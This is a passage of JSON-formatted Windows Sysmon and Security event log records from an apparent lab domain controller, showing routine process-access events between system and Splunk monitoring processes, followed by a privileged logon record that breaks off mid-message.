11:52:08.466","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2889,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:08.466\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:08.466","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2890,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:08.466\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:08.466","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2891,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:08.466\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:08.466","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2892,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:08.466\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:08.466","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2893,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:08.466\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:08.466","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2894,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:08.466\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4068-5F2D-0000-001087E40400}\r\nTargetProcessId: 3948\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:08.466","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4068-5F2D-0000-001087E40400}","TargetProcessId":"3948","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2895,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:08.623\r\nSourceProcessGUID: {90617006-4068-5F2D-0000-001087E40400}\r\nSourceProcessId: 3948\r\nSourceThreadId: 3952\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+5691a5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+568cd6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56657|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56ca7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+8f3800|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:08.623","SourceProcessGUID":"{90617006-4068-5F2D-0000-001087E40400}","SourceProcessId":"3948","SourceThreadId":"3952","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+5691a5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+568cd6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56657|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56ca7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+8f3800|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221779,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x4E6BC\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x4e6bc","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:52:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221780,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x4E6BC\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t::1\r\n\tSource Port:\t\t51374\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID 